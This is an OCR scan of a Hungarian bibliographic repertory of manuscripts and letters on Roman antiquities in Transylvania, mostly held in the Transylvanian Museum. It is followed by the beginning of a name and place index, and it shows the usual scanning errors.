kézirattárában. {(írni' Kemény József : Miscellanea, T. VIII. 48. sz.i
30. — Römische Altertliümer in Mikháza in Siebenbűrgen. — 9 4r. levélnyi
sajátkezű kézírat (Kurz Antal 2 ír. levélnyi jegyzetével). Az erdélyi
múzeum kézirattárában. (Gróf Kemény József : Miscellanea, T. II. 19.sz.i
ío. — Römische Altertliümer die zu Torda aufgefiinden und durch mich
angekauft wurden. -- 1 fogásnyi (sajátkezű) 4r. kézírat. Az erdélyi
múzeum kézirattárában. [ Gróf Kemény József : Miscellanea, T. IX. D.)
41. — Nummi veteres Thordae reperti. Collecti per — . — 90 ír. lapnyi sa-
játkezű kézírat. Az erdélyi múzeum kézirattárában. (Gróf Kemény Jó-
zsef : Archaeologiai convolutum, III.)
\-l. - Dacia ókori történetét tárgyazó, 8 ír. czímezetlen levélnyi érteke-
zés; sajátkezű kézírat. — Az erdélyi múzeum kézirattárában. (Grój
Kemény József: Miscellanea, T. XX. 2. sz. «Az általam majd kiadandó
'Magyar históriai Zsebkönyv' -hez valók».)
1-3. YYaiiii können die Juden nach Siebenbűrgen gekommen sein ?. — I ír.
VI.. Kemény— Kurz, 44—52. [65
levélnyi sajátkezű kézirat. Az erdélgi múzeum kézirattárában. ■
Kemény József: R. XXI. Collectanea.)
.44., — Erdélyi régiségek (Erdély különböző részeiben talált régiségek leí-
rása).— 1 fogásnyi (sajátkezű) ír. kézírat. Az erdélyi múzeum kéz-
irattárában. (Gróf Kemény József: Miscellanea, T. XX. 9. sz.)
í:,. Római s másféle régiségeket tárgyazó jegj'zetek, rajzok és lenyoma-
tok.— Az erdélyi múzeum kézirattárában. (Gróf Kemény József : Ar-
chaeologiai convolutum, IV. 9 fogásnyi (sajátkezű) ív- a tr. kézírat;
és a. 0. V., -20 4r. lapnyi sajátkezű kézírat, mindkét helyütt számos
rajztábla, lenyomat stb.)
Mi. Klein ( Sámuel — de Szád ). Istoria si lucrurile. si intemplarile romaniloru
acumn intr'acestu chipu asiediata si din multi vechi, si noi scriitori
culésa, si scrisa de — in IV tomuri in Blasiu a. 1801 (Sámuel Klein.
História Valachorum in IV tomis). — Az eredeti kézírat a gör.-kath.
püspökség könyvtárában Nagyváradon. (Másolata Gavra úrnál Aradon).
í-7. — Brevis historica notitia originis et progressus nationis Daco-Roma-
nae. — Kézírat (1. Sulzer, Geschiehte des transalpinischen Daciens,
II. k., 15. 1. ; és Engel, Gescliiehte des ungrisehen Reichs und seiner
Xebeulánder. IV. k.. 1. r.. 90.1.)
— Koprzira ( Ferencz ). L. Nessel'eldi ( Koprzira — ).
18. Koronka {Antal, várfalvi unitárius lelkészi. Öt darab levele gróf Ke-
mény Józsefhez (1843— 1847), a Várfalván lelt római régiségekről.
— Az erdélyi múzeum kézirattárában. (Gróf Kemény József: Archaeo-
lugiai cunculiitiim.il. [két levél s egy felíratmásolatokat tartalmazó
papirszelet], és R. 4. XV. három levél]).
49. Kovács (István. Nagyajtai — ). Régiségeket tárgyazó 11 darab levele
gróf Kemény Józsefhez (1840. sept. 17.: 1841. oct. Is. ésnov. 5. ;
1844. jun. í. és 1 1.; 1846. cet. :>7., nov. G. és 24., dec. í. és II.: 1848.
marcz. 28.). .1: erdélyi múzeum kézirattárában. (Gróf Kemény JózseJ :
R. 4. XIV.)
50. Kurz (Anton — ). Geschichte des Marktes Torda in Siebenbürgen. —
10 ír. lapnyi sajátkezű kézírat. Az erdélyi múzeum kézirattárában.
(Gróf Kemény József: Varia adhuc segreganda.)
51. — Várfalva leírása. — 2 4r. levélnyi sajátkezű kézírat. Az erdélyi mú-
zeum kézirattárában. (Gróf Kemény József: Varia adhuc segreganda.)
5-2. — Die antikén Goldgeráthschaften in dem National-Museum in Bucku-
rescht. — I ír. levélnyi sajátkezű kézírat. Az erdélyi múzeum kézirat-
166 VI., Kurz— Lészai, 53—58.
tárában. ( Gróf Kemény József: . Irchaeologiai convolutum, VI.) ; és Kurz
I ívr. lapnyi sajátkezű jegyzetei ugyanazon petrósai régiségekről
a. o., Miscellanea, T. VIII. 55. sz.)
53. Régiségeket tárgyazó nyolcz darab levele gróf Kemény Józsefhez.
— Az erdélyi múzeum kézirattárában. [Gróf Kemény József : Miscel-
Ianea, Eruditae correspondentiae, R. XVIII. [1844. oct. 20.; 1S4I1. oct.
5. : 1847. nov. 11. és 28. ; isis. j;m. 4. és 31.] : ós R. 4. XV. [ 1846.
oct. 15.; 1847. dec. 22.])
— — L. még : Kemény 39. sz., ós a 0:5. sz.
54. Lapides líomano-Hungarici. — 1701 után kelt, 282 oldalnyi ír. kézírat.
A kir. magy. tud.-egyetem könyvtárában Budapesten, A. 102. (Tartal-
ma : I ). Inscriptiones antiquae in Hungária [Laziusból, Gruterusból
stb. másolt 2)54 római felírat Daciából és Pannoniából] 1 — 24.1. — 2).
Extra Hungáriám [hasonló másolatok többekből]. — 3). Excerpták :
«ex Philippo a Turre, ex germano auctore, ex Lazio, Zamosio, ex C.
Cornelio Tacito» stb., «ex Onuplirio Panvinio, ex Chronica abbatis
Urspergensis, ex Chronico Slavorum Helmoldi.presbyteri Francofurt.,
ex Ammiano Marcellino, ex Flavio Yopisco, ex História Augusta
seriptorum Latinorum minorum, ex Ptolemaeo, ex Itinerario Anto-
nini Augusti, ex Notitia orbis antiqui Chr. Cellarii, ex Vincentio
Chartario et Antonio Verderio, ex Adolpho Occone, ex Antonio
Augustino* ; valamennyi Erdélyre s Magyarországra vonatkozólag
kivonatozva.)
55. Lebel (Johannes —). Memorabilia Transylvaniae, vagy Tractatus .de
rebus Transsilvanicis. — Kézírat (1. Eder, Ad Scliesaeum, 243-277. 1.)
56. Lészai (Dániel, szászvárosi orvos). 1837-ben kelt jegyzete egy Algyógyon
levő római feliratos kőről. — Az erdélyi múzeum kézirattárában. (Gróf
Kemény József: Archaeohgiai convolutum, II.)
57. — Két darab levele gróf Kemény Józsefhez (1842 — 1*44). — Az erdélyi
múzeum kézirattárában. (Gróf Kemény József: R. 4. XV.)
58. — Levele dr. Hankó Józsefhez (1844), tordai római régiségekről, egy
darab melléklettel. — Az erdélyi múzeum kézirattárában. (Gróf Kemény
József: Archaeologiai convolutum, III.)
VI., Lukács— Neigebaur, 59—66. 1»>7
r>9. Lukács (János). Levele gróf Kemény Józsefhez i 1844), türei római fel-
iratos és más műemlékekről. . 1 -. erdélyi múzeum h ^irattárában. < Gróf
Kemény József: R. 4. XV. i
M.
60. Memorabilia Bomanae coloniae monurnenta. Múlt Bzázadi ívr. kéz-
írat. Az erdélyi múzeum kézirattárában. (Gróf Kemény Sámuel: Hazai
• gyűjtemény, X. k., 1 — 14. 1.)
61. Retfexiones in nonnulla monurnenta lapidea coloniarum Romanarum
in Dacia (gróf Kemény József által adott czím). — Római felíratok
másolatát tartalmazó, 5 ír. lapból álló (múlt századi i kézírat. melynek
eleje s vége hiányzik. Az erdélyi múzeum kézirattárában. (Gróf Kemény
./"csv/'; Archaeologiai convolutum, II. I
62. Specificatiója a gradistyai várban talált régiségeknek (a muncseli gre-
diste). — L2 ívr. levélből álló, valószínűleg a jelen század elején kelt
kézírat. .le erdélyi múzeum kézirattárában. (Gróf Kemény József:
< 'hartophylacíum Trans., XVI. k.)
63. Ruinen am Muntseller Gebirge. Gredistye. (Kvrz Antal másolata a bras-
sói ev. luth. gymnasium könyvtárában levó eredetiről) : és Neigebaur-
nak a muncseli és várhelyi gredistére vonatkozó jegyzetei és rajzai.
— Az erdélyi múzeum kézirattárában. (Gróf Kemény József : Miscella-
nea, T. IX. A., ívr.)
N.
64. Neigebaur (J. F. — ). Római és másféle régiségeket tárgyazó jegyzetei.
rajzai és lenyomatai. — S fogásnyi ív- és 4r. kézíratok. Az erdélyi
múzeum kézirattárában. (Gróf Kemény József: Archaeologiai convolu-
tirm, VI.)
65. — Hét darab levele gróf Kemény Józsefhez i 1846 1848), és egy darab
dr. Fodor Andráshoz ( 1847).— A: erdélyi múzeum kézirattárában. \ Gróf
Kemény József: Miscellanea, Eruditae correspondentíae, R. XVIII.1)
66. — Három darab levele Kurz Antalhoz. — .); erdélyi múzeum kézirattá-
rában. (Gróf Kemény József : Varia adhuc segreganda Kurziana su-
perfl.ua I.
168 VI., Neigebaur— Reinbold, 67—72.
— — L. még: Fodor 18. sz., és a 63. sz.
tíT. Néinethy (József, csík-nagyboldogasszonyi r. kath. esperes). Két darab
levele Aranka Györgyhez (1797 — 1802), egy Gyulafehérvárt lelt ró-
mai feliratos kő s a csík-boldogasszonyi bronzlelet felül. — A i erdélyi
múzeum kézirattárában. (Miké Sándor gyűjteménye : Különböző tudósok
levelei a AT/// és XIX. századból, X. k. 2. cs.)
68. Nesselfeldi (Koprzira Ferencz, paraj di sóhivatali ellenőr). Levele Aranka
Györgyhez (1797), Marosportuson lelt római régiségekről és a kecs-
kekői várról (egy rajztáblával). — ■ Az erdélyi múzeum kézirattárában,
(Miké Sándor gyűjteménye: Különböző' tudótok levelei a AT/// és XIX.
századból, X. k. 2. CS. )
o.
09. Ötvös (Ágoston). Levele gróf Kemény Józsefhez (1847). — Az erdélyi
múzeum kézirattárában. (Gróf Kemény József: R. 4. XVI.)
P.
70. Pek (Andreas Augustinus — ). Analecta lapidum Roinano-Pannonico-
Dacicorum Andreáé Augustini Pek de cc. rr. Scholarum Piarum ect.
(E czímen is : Lapides, et numi Piomano-Pannonico-Dacici Augustini
Pek de cc. rr. Scholar. Piarum Colocae, Claudiopoli, Mediae, Vesz-
primii, et Pestini eloquentiae professoris. Hungari Levensis). — ívr.
kézírat t. Csaplár Benedek, kegyesrendi áldozár úrnál Budapesten,
1— is. 1.
71. Putnoki (Zsigmond). Levele gróf Kemény Józsefhez (1844), a Türében
talált tabula honestae missionis felől. — Az erdélyi múzeum kézirat-
tárában. (Gróf Kemény József : R. 4. XVI.)
~rl. Reinbold ( Tgnatius — ). Monumenta Romána. -- ívr. rajztáblák colli-
gatuma a:, erdélyi múzeum kézirattárában, az adományozó Reinbold
VI., Reinbold— Sárd, 73-74. 169
^s
következő, sajátkezüleg írt jegyzetével :«Monuraenta haec Romána per
me anno 1836 in faoie loci delineata, nunc verő ad usutú Musei
Transilvanici noviter descripta in 125 figuris ad 14 tabulas ordináta
sünt : et <piideni
snb hit. .1. in pago Kisfalud in aula cornitissae de Teleki 8
B. •• oppido montano Zalathna 39
t '. • pago Petrosán I
l>. • Portó Marusii l
K. Albae Carolinae in arcé et eivitate inferiore ~1\
F. « • in residentia Episcopi et horto superiore 35
d. « « « bibliotheca 17.
Nóta ! Haec monumenta nec inter Inscriptiones L. B. Jos. Thorocz-
kay anni 1 707. nec in libro Joannis Seivert, de Monumentis Eomanis
anni 177:}, inveniuntur. Explicatio autem mythologica sub Lit. G.
et aliquot inscriptionum eontinentur in libro per nie extradato. cui
titulus «Beytrage zur dacischen Gescbiclite des Franz Xav. Hene
Bischof zu Dulcinea und Carlsburger Domprobst.Hermannstadt 1 836.
Zalathna in Augusto 1842. Ign. Beinbold, Doctor Chyrurgiae*.
— Ugyanazon rajztáblák másik szintén ívr. példánya a magyar nemzt ti
múzeum kézirattárában Budapesten, 233. Fol. Lat.. Beinbold következő,
-ajátkezüleg írt megjegyzésével: cHaec in XIII. Tabulis delineata ac
descnpta Monumenta Bomana sünt rudera coloniae Apulensis e
territorio Apuli, bodie Álba Carolina. et Patroissae, nunc sub nomine
Zalathna, eruta : novissime revisa et correcta permé — 1836. —
Összesen 13 i 1— XIII) rajztábla, a melyek utolsójára Beinbold a kö-
vetkezőket jegyzé : <*Als Nachtrag römischer Merkmale zu Zalathna
in Siebenbürgen im 8bM 828 Beinbold ».
73. — Levele névtelenhez (1844) egy, római feliratos köveket ábrázoló
rajztáblával. — . I : &rdt lyi múzeum kézirattárában. < ' < rőf A< meny Józst r :
Archaeologiai convolutum, VI.)
— — L. még : Thalson 95. sz.
s.
71. Inscriptiones Sárdienses. — Multszázadi névtelennek (Bod Péter'?)
-2 ír. lapra és egy papírszeletre írt jegyzetei és felíratmásolatai (sárdi
és boldogfalvi római felíratok). Jc erdélyi múzeum kézirattárában.
170 VI., Smeitzel— Soterius, 75 - 81.
( A Kerekes Ábel-féle gyűjtemény 5-ik kötetében) ; ugyanott egy szé-
kelyföldi névtelennek valamely munkához 177(.>-l>en tett, 2 Xr. lapnyi
vegyes tartalmú jegyzetei, melyekben egyebek között a nagyenyedi
professorok lakháza s a Malomvíz feletti vár (Kolczvár) szobáinak ta-
lajában levő római (különféle színű) mozaik-téglákról tétetik említés'.
75. Schmeitzel 'Martinit* — ). Collegium in históriám principatus Tran-
sylvaniae. — Múlt századi ívr. kézírat. Az erdélyi múzeum kézirattárá-
ban, (A Halmágyi István-féle kézíratok között); múlt századi ír.
másolata csonka állapotban u. o. — Legtisztább, 4r. másolata u. o. a
gróf Kemény József-féle gyűjteményben : Collectio minor manuscriptorum
historicorum, T. XXVII. 1. sz., 2(1-27, (10—127. 1.
76. - — Collegium privatissimum de rebus ad Transylvaniam pertinentibus.
1737. — (L. Agnethler, Index bibliothecae Schmeitzeliauae. Halae,
1751.; és Seivert, Nachrichten von siebenbürgischen Gelehrten.
Preszburg, 1785., 37 í. 1.)
77. — Sciagraphia seu collegium historicum. — 4-r. kézírat. .Ic erdélyi mú-
zeum kézirattárában. (Gróf Kemény József : Collectio minor manuseri-
ptorum historicorum., T. VII. 1. sz.) 54 — 59, 07 — 70, 135 — 170. 1.
78. — Antiquitates Transylvanicae ex lapidum inseriptionibus, numisque
antiquis Eomanorum erutae, et variis observationibus historico-
eriticis explanatae. 1712. (L. Agnethler, Index bibliothecae Schinei-
tzelianae. Halae, 1751.; Prioilegirte Anzeigen \llí. évi., 2í)í>. 1. ;
Seivert, Nachrichten von siebenbürgischen Gelehrten. Preszburg,
17s,j., 374-. 1. ; A magyar nyelvmívelő társaság munkáinak első darabja.
Nagyszeben, 17! Mi., 201. 1.)
7í». — Notitia principatus Transsilvaniae. — Kézírat az ev. luth. gymnasium
könyvtárában Segesvárt.
80. Simó / Ferencz. Id. — ). Levele gróf Kemény Józsefhez, Alsó-Hoaván
talált római feliratos kövek felől, (kettőnek másolata mellékelve). — .1;
erdélyi múzeum kézirattárában. (Gróf Kemény József : R. 4. XVII. a.)
— Sommersberg. — L. Cornides 1 1. sz.
SÍ. Soterius (Georgius — ). De antiquis Transilvaniae rebus libri duo.
Lib. I. De rebus Geticis et Dacicis. Lib. II. De rebus Romanorum in
Dacia. 1706 (e két könyv a következő külön czím alatt is: «Dacia»).
Lib. LEI. De Transilvanis rebus. — Eredeti ívr. kézírat Soterius utódja
Sachsenheim Frigyes úrnál Medgyesen. ■ — A három rész multszázadi
másolata a hám Bruckenthal-féle könyvtárban Nagyszebenben.
VI., Soterius— Szathmári, 82—88 171
82. — LiberlV. de Transilvanis rebus. — Soterius 187 ívr. lapnyi saját-
kezű kézirata térképekkel és rajzokkal. Libloy Schiller Frigyes
adományából az erdélyi múzeum kézirattárában. (Ez Soteriusnak
ugyanazon müve, a melyet Trausch, Schriftsteller-Lexicona III. Ív..
328. 1., 6. sz. a. «Transylvania» czím alatt idéz.)
83. — Utazási feljegyzéseinek egy része 1865-ben az Ackner-féle könyvtárban
volt Szenterzsébeten. (L. Ackner-Müller, Die römischen Inschriften in
Dacien. Wien, 1865., X. 1.)
84. — Annotationes in Fasclnngii Daciám Antiquaru, authore Georgio So-
terio pastore Crucensi concinnatae. — Kézírat a báró Bruckenthal-
féle könyvtárban Nagyszebenben.
L. Weidenfelder 100. sz.
85. Splényi ( Mihály. Báró — ). Levele Kurz Antalhoz ( 1847), tordai római
régiségekről. — Az erdélyi múzeum kézirattárában. (Gróf Kemény
József: Varia adhuc segreganda [Kurziana superflua
Sz.
XC). Szathmári (Michael P. — ). Inauris mea vére Romána Tordae effossa
(voltaképen régészeti és érmészeti tartalmú különféle dolgozatok és
jegyzetek colligatuma). — 1 íO 8r. lapnyi kézírat oc erdélyi múzeum
kézirattárában (1). De vasé aeneo ab ex. com. consiliario Eszterházi
transmisso 1792. 17 — 20. 1. — 2). De annulo aureo Thordae invento.
21 — 25. 1. — 3). Animlus altér isque ferreus. 26 — 27. 1. — 4). Régi-
ségeinek leírása. [«Memoriae causa in hac cistula sünt sequentia
antiquitatis monumenta»] 33 — 51. 1. — 5). Római felíratok. 61 — 75,
85 — í>9. 1. — 6). Numus aureus a. 1797 Somlyóini inventus. 76 — 77.
1. — 7). A Lysimaclms-f éle aranyokról 125 — 128.1.)
87. — Numismata antiqua Ofraeco-Rornana regionum, urbimn, populorum
et regum, diversarum materiarum et modulorum, quae collegit, at-
que succinctis annotationibus adjectis in lmnc ordinem propria
manu descripsit — . — 248 8r. lapnyi kézírat az erdélyi múzeum kéz-
irattárában (a „Cl. M. Szathmári Catalogus numismatum" sarkíratú
colligatum I. kötete), elszórva.
88. — Numismata Román, consularia et familiaria plerumque omnia argen-
tea et ordinarii moduli, quae singulari industria collegit et in huné
ordinem propria manu descripsit — . — 376 8r. lapnyi kézírat ": erdélyi
172 VI., Szathmári— Thalson, 89—95.
múzeum kézirattárában (a ,,( '/. M. Szathmári Catalogus numisniatum"
sarkíratú colligatum II. kötete), elszórva.
8!). — Numismata imperátor. Rornanorum argentea, et ad iiiodulum, ac
forrnám argenteorum cusa, quae collegit, atque breves annotationes
iidiiciendo in hunc ordinem propria manu descripsit — . — 486 8r.
lapnyi kézírat az erdélyi múzeum kézirattárában (a „Cl. M. Szathmári
< 'atalogus numismatum" sarkíratú colligatum III. kötete), elszórva.
00. — Numismata Eomanor. et Graecor. aurea et aerea variorum modulo-
rum, quae collegit et descripsit — . — 368 8r. lapnyi kézírat az erdélyi
múzeum kézirattárában (a „Cl. M. Szathmári Catalogus numismatum"
sarkíratú colligatum IV. kötete), elszórva.
91. — Nummi acquisiti anno 1785 mense Julio — 1812 mense Januario.
184 8r. lapnyi kézírat az erdélyi múzeum kézirattárában (a „CL M.
Szathmári < 'atalogus numismatum" sarkíratú colligatum VII. kötete),
elszórva.
92. — Numophylacium Tsepregianum nunc in ill. collegii ref. Claud. bib-
liothecam translatum, et in has pagellas descriptum laboré — . Clau-
diopoli 1758. — 327 8r. lapnyi kézírat az erdélyi múzeum kézirattárá-
ban, elszórva. Ugyanazon colligatum 247 — 272,310 — 317.1. «Inscrip-
tiones sequuntur. In diversis locis inventae».
93. Thalson (Dionys — ). Archaeologisches. — 2 ívr. levélnyi sajátkezű
kézírat 1845. november 2(5-áról keltezve. Az erdélyi múzeum kézirattá-
rában. (Gróf Kemény József: Archaeologiai convolutum, VI.). Thalson
még egy másik, hasonló czímü és 2 4r. levélből álló, szintén sajátkezű
kézirata (kelet nélkül) u. a. convolutumban.
04. — Archaeologisches (a petrósai leletről). — 1 \ i ívnyi sajátkezű ívr. kézírat
1847. augustus 12-éről keltezve, és Thalsonnak ez értekezés tárgyalján
1 858-ban Rafhhoz Kopenhágába írt, s egy másik kelet nélküli de
bizonyára szintén azon évből eredő és egy gyulafehérvári r. katli.
paphoz intézett levele. Haynald bíbornok-érsek ajándékából gyűjte-
ményemben.
95. — Thalson és Eeinbold római régiségeket tárgyazó jegyzetei és rajzai.
- 9 4r. lapnyi kézírat és rajz. Az erdélyi múzeum kézirattárában.
(Gróf Kemény József: Archaeologiai convolutum, VII.)
VI., Thalson— Winkler, 96—103. 1!
96. Il('i darab levele gról Kemény Józsefhez i 1846), az állítólag Tordán
lelt (voltaképen azonban Literáti Nemes Sámuel által hamisítotl
sphinx felől. — J: erdélyi múzeum kézirattárában. [Gróf Kemény Jó-
zsef: Miscellanea, R. 4. XVIII.): ugyanaz ugyanahhoz (1847), u. o.,
Miscellanea, Eruditat correspondentiae, R. XVIII. I
'.'7. Egy darab kelet nélküli levele Kurz Antalhoz. — Az erdélyi múzeum
kézirattárában. (Gróf Kemény József: Varia adhuc segreganda Kurziana
swperfiua I.
'.'s. Publica Transilvaniae descriptio. (A czím felett: "Anno 17t'((>. 12.
Jan.O Első rész. « Erdélynek nevezetirűl •• (párbeszéd egy iúj
gi ember* között). Multszázadi 8r. kézírat a~ erdélyi múzeum
kézirattárában.
w.
99. Weidenfelder ( Laurentius — ). Probléma historico-criticum in Daciae
veteris, et Romanae inscriptionern lapidariam M. ülp. Nerv. Tra-
jani, olim nostrae provinciáé domitoris fere primi. 17Í4. — Eézírat
az ev. luth. káptalan könyvtárában Nagyszebenben.
100. Noctes Michaelis Montanae, sen specimen Soterianum históriáé, et
antiquitatis \ll vui Komano-Dacieae. ab imperatore Trajano nsque
ad Aurelianum imp. caes., ab interitu instar tabularum e naufragio
vindieatum. et adnotamentis adauctum, studio — , 1744. S függelék-
ként: «De moribus et ritibus, immo et snperstitione coloniarnm
Romano-Dacico-Valachicarum in Transylvania». — Kézírat a? ?r.
luth. káptalan könyvtárában Nagyszebenben.
101. Wenrich f Vilmos ). Levele gróf Kemény Józsefhez (1850). — Az erdélyi
múzeum kézirattárában, i Gróf Kenun;/ József : R. 4. XVIII.
102. "Weszprémi (István). Levele P. Szathmári Mihályhoz (178
bizonytalan lelhelyü római felírat és gyűrű felől. — Az erdélyi mú-
zeum kézirattárában. (Miké Sándor gyűjteménye: Különböző tuá
levelei a XVIII. és XIX. századból, X. k. 4. cs.'
103. Winkler (Joannes Bapt. — ■). História veteris et novae Daciae. Con-
scripta per — , jur. patrii profess. — , 4r. kézírat. Az erdélyi múzeum
kézirattárában. (Gróf Kemény J llectio minor manuscriptorum
hiütoricorum, T. XIII. 1. sz.i 1—24. 1.
NEV- ES HELYMUTATO.
(INDEX NOMINUM ET LOCORUM)
Az egyszerűen irt számok a lap, a ( ) közé fogottak pedig az illető mű számát
jelölik. ( Nwmeri nude positi paginarum huius operis sünt, { ) uncinis inclusi ad
opera laudata remittunt)
Aaron Hl.
Abrudbánya 109.
Ackner 3— 6.80(690). 101(1). 157(1).
Adorján 6.
Aldoboly 109.
Algyógy 109.
Alsól'eliérmegye 109.
Alsó-Ilosva 109.
Alvincz 109.
Amantius 6. 7 (iá).
Ambrus <i.
Antonelli 141.
Auville 0—7. K»:J. (18).
Apáti 109.
Apianus 7.
Ápold, 1. Nagy- Ápold.
Apsa, 1. Közép- Apsa.
Apulum, 1. Gyulafehérvár.
Arács 109.
Arad, 1. < )-Arad.
Aradmeg}7e 109.
Aranka 102- 103 (17). 115 (36).
Arany 109.
Aranyosszék 109.
Ariosti 157.
Arneth 7—8. 135—136 (12-
Árokalja 109.
Árosa 25 (228).
Asaky 8.
Asbóth37 (331).
Ascbbach 8.
Asszonyfalva 109.
Avellino 8.
Báes 110.
Bacsilla 8.
Bácsrnegye 1 10.
Baierus 8.
Balázsíálva 1KJ.
BaUa 8.
Bánd, 1. Mező-Bánd.
Bánffy-Hunyad 110.
Bania 1 10.
Bárány 8.
Bárányhegy I 10.
Név- és helymutató.
i;:.
Barbulescu 8.
Barozaság 110.
Bardócz 110.
Bardócz Elek 8. 14(111). 158.
Baronzi 141.
Baróth 110.
Bartalis 9.
Bartoli 9. 10 (70).
Baumstark 9.
Béba, 1. Ó-Béba.
Becker 11. 9.
Becker J. 9.
Becker M. A. 9.
Becker W. A. 9.
Becse, 1. Török-Becse, Üj-Becse.
Becskerek, 1. Kis-Becskerek, Nagy
Becskerek.
Bedáus 9.
Bekecs hegy 1 1 < >.
Békés-Csaba 110.
Békés-Gyula 1 10.
Békésmegye 1 10.
Bellori 10.
Benigni 10.
Benkű Ferencz 10. 158.
Benkő József 10. 158.
Benkű Károly 10.
Benndorf 10. 35 (314).
Benne 1 10.
Bereczk 110—111.
Beregszó III.
Berény, 1. Mező-Berény.
Beretlialom III.
Berza III.
Bessell 10.
Besztercze III.
Beszterczevidék 111.
Bethlen Farkas 10.
Bethlen Miklós 10.
Bibarcz, 1. Bibarczfalva.
Bibarczfalva III.
Bidermann 141.
Bielowski 10. 79 (671 >.
Bielz 10.
Biharmegye III.
Biliéi III.
Birthálm, 1. Berethalom.
Bisselius 10.
Bistritz, 1. Besztercze.
Blága 1 1 .
Bobrik 1 1 .
Bock 1 1 .
Böcking 1 1 .
Bod 11.
Boeckh 1 1 .
Boginca, 1. Bozsinka.
Bogsán 111.
Bogsánbánya, 1. Bogsán.
Böhm 11—12.57 (521).
Böhmer 12.
Böjté 111.
Boldogfalva 111.
Bolla 158.
Bolliac 12.
Bonbardus \~2.
Boner 12.
Bonfinras \~2.
Bongarsius K5. 95 (830).
Bonta szoros 111.
Borberek 111.
Borghesi 13 — 14.
Borjas 111.
Borosjenő 1 1:2.
Bors 14. 22—23 (198).
176
Név- és helymutató.
Borszék 112.
Bpssart I l.
Botes hegy, 1. Zalatna.
Bouhierius 1 i. 3(» (265).
Bozsik 1 12.
Bozsinka ül — I \-±.
Brassó i 12.
Braun 1 í,
Braun, von I i. 36 (318).
Bromet 1 1.
Bruckenthal, 1. Tárgymutató, Muzeu
ni ok.
Brúz 14. 158. 160 (18).
Bubics 138 (27).
Budai 158.
Buddeus 80 — 81 (691 |.
Budenz 142. I í-8 (63).
Büdinger I l.
i '.ules 1 1 2.
Buziás 1 1 2.
Cardinali 14.
Carlsburg, 1. Gyulafehérvár.
Caronnus 14.
Caryophilus 15.
Cavedoni 15.
Cellarius 15.
Champollion 15.
Chantre 15.
Ciaconus 15.
Cihac I \-2.
Cipariu L5 1 7. 1 7 (139). 18 (153)
38 39(346). 142 -143.
Clary 1 7.
Claudiopolis 159 1 10).
( Huverius I 7.
Cornides 159.
Cosina 1 7.
Csaba, I. Békés-Csaba.
Csákivá | 12.
Csanád 1 1 2.
Csanád-egyházmegye I 1 2.
Csatári 159- 160. Ilii (35 .
Csengery 91 (788).
Cserbei 1 1 2.
Cserey 159.
Csetneki Jelenik I 7.
Csigmó 111'.
Csík-Nagyboldogasszony 1 12.
Csík-Kákos 1 1 2.
Csíkszék 1 I 2.
Csipkés 150.
Cuiacius 1 7.
Cuno 1 7.
Cuperus 1 7.
Czobor 1 7.
Czoernig 1 7.
Czófalva ] 1 2.
Dálnoky 1 8.
Deák Farkas 1 8.
Deák Grerő 1 8.
Décsy 18.
Deleanu, 1. Budai.
Demeter 160.
Demsus J 1 2.
Denta I 1 3.
Desjardins 18 19.
Despinits lí).
Detlefsen 19. 26 (239). 26 27 (240.
243). 54 55 (495). 146 (44).
Detta 113.
Déva 113.
Diénes 37 (334).
Dierauer 1!).
Diez 143.
Név- és helymutató.
177
Doboly, 1. Mdoboly.
Doboz, 1. Tarhos.
1 >(»I1ÍUS 19.
Dorner 19- 20.
Dorstadt, 1. Hosszútelke.
Dragsina I Ki.
Dregic 1 13.
Duciik 20.
Duellius 20.
Dulházy 20. 38 (344).
Dümmler 150 (77).
Eckhel 20.
Edelspacher 1 13.
Edei- 20. 22 (194). 143.
Einfeld 20.
Ekemé//!, 1. Nagy-Ekemező.
Élesd 113.
L 20 21 .
Enlaka II:;.
Enyed, 1. Nagyenyed.
Evesei 2 1 .
Érdy 2 1 .
Eriiesti 80—81 (691).
Erzsébet, 1. Szenterzsébet.
Esküllő II::.
Eszterliázy 2 1 .
Evans, 1. Tárgymutató, MuL,rán<,ryííjte-
mén vek.
Fabretti 22.
Fabritius 22.
Farkas 22.
Fasching 22.
Fea 22. 10 (70).
Febérrnegye, 1. Alsófehérmegye.
Fehértemplom ! 1 1.
rváry, 1. Tárgymutató, Magán-
gyűjtemények.
Repertórium.
Fekete •_'_».
Felek hegy 114.
Felmer 22. 144. 160.
Felső-Szelestye 1 1 1.
Fenyőfáivá 1 1 1.
Ferentzi 22.
Fessler 22.
Ficker I H. 17. (402). 1 lü (4
Filep 22 -J:;.
Filstich 144.
Filtscb 23.
Firtos hegy Ili.
Finály 2:: 24.27 (245). 27-
134 ifi). 145(39).
Fleetwood 24.
Fodor 24. 160 161.
Foeringer 7 (43).
Fontéin 24.
Forbiger 24. 72 (616).
Francisci 21. 80 -81 (691).
Francke 2 í .
Franz 24. II (86).
Frauendorf, 1. Asszonyfalva.
Fridrich 65 (551 1.
Fridvaldszky 25.
Fvoebner 25.
Fuhrmann 2."").
Füskút 1 1 1,
G. Ili.
(iaall 161.
(i.i.i. 1. Nagy-Gáj.
Galgovicz I I í.
Gált, 1. Szás :-Ugra.
Gamauf 25.
Garofalo, 1. Caryophilus.
Gaura 111,
Gazzera 27). 13(103).
3).
28(246).
12
I7.S
Név- és helymutató.
< rebhardi 25.
( lerando 2<i.
Gerhard 26. 161.
( rerlach 26.
( resner 2<i.
Gierelsau, 1. Fenyőfáivá.
Gieresau, 1. Fenyőfalva.
Gleim 26.
Gold 161.
Gooss 26—28. I Í4. I 15 (39- íl i.
Gori 28. I!) (164). 30 (265).
Grebenácz 1 14.
Grediste, 1. Muncsel.
Grimm 28.
Griselini 28.
Gross I í I (5),
Grosspold, 1. Nagy-Apold.
Gross-Probstdorf, 1. Nagy-Ekemező.
Grosz-Hoffinger 29.
Grotefend 29.
Gruterus 20 — :}<).
Guido 30. 72 (615).
Gutschmid I i6 i 13).
Gyalií I I ),
Gyógy, 1. Algyógy.
Gyöngyös8Í 161.
Gyula, 1. Békés-Gyula.
Gyulafehérvar I 15.
Gyurits 30.
H. I íü (44).
Haakb 30.
Baan 30.
Hagenbucb 30. 65 (552).
Bajnál 30.
Balaváts 31.
Baliczky 31.
Ballbauer 31.
Hammer 31.
Hammersdorf, 1. Szenterzsébet.
Bampel 31. 7:: (622). 138 (28 29).
Haner 162.
liaiisiz 31.
Harduinus 31.
Háromszék 1 16.
Basdeu I \\ — l 15.
Haubold 32.
Haupt 32.
Hausmann 32.
Heltai 32.
Hemmen 32.
Hene 32.
Henszlmann 32—33. 133 (3- -4). |:;7
(23). 138(27).
Henzen 33— 35. i (9 — 10). 162.
Hermáim 35.
Hermannstadt, 1. Nagyszeben.
Hermány 1 1 6.
Hévíz 116.
Hildebrand 35.
